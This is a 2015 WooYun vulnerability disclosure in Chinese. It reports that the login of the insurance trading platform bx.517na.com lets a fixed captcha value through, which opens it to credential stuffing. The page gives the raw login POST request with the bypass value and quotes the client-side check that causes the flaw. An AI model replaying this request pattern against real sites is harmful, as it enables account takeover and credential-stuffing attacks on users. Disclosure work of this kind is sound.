WooYun.org

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0112196

漏洞标题：PC保险交易平台登录，无视验证码，进行撞库(实例)

相关厂商：517na.com

漏洞作者： 路人甲

提交时间：2015-05-05 18:15

修复时间：2015-05-10 18:16

公开时间：2015-05-10 18:16

漏洞类型：设计缺陷/逻辑错误

危害等级：高

自评Rank：15

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏

分享漏洞：

漏洞详情

披露状态：

2015-05-05： 细节已通知厂商并且等待厂商处理中
2015-05-10： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

PC保险交易平台登录，无视验证码，进行撞库
登录地址：bx.517na.com
POST /Login/LoginAjax HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://bx.517na.com/
Accept-Language: zh-CN
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Proxy-Connection: Keep-Alive
Content-Length: 43
Host: bx.517na.com
Pragma: no-cache
Cookie: 517NA_InsuranceTradeWeb_DEFAULT=USERID=97d73452-fc40-4d4e-9922-6290a987edda
Connection: close
userID=qwe123&pwd=qwe123&validateCode=517na

详细说明：

<code> // 验证码出现时才校验 var validateCode = "517na"; if ($("#divValidate").hasClass("hide") === false) { validateCode = $("#txtValidateCode").val(); if (validateCode == "" || validateCode == undefined) { layer.alert("请输入验证码", true, "信息", function (index) { layer.close(index); globol = $('#txtValidateCode'); globol.focus(); }); return false; } }

漏洞证明：

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应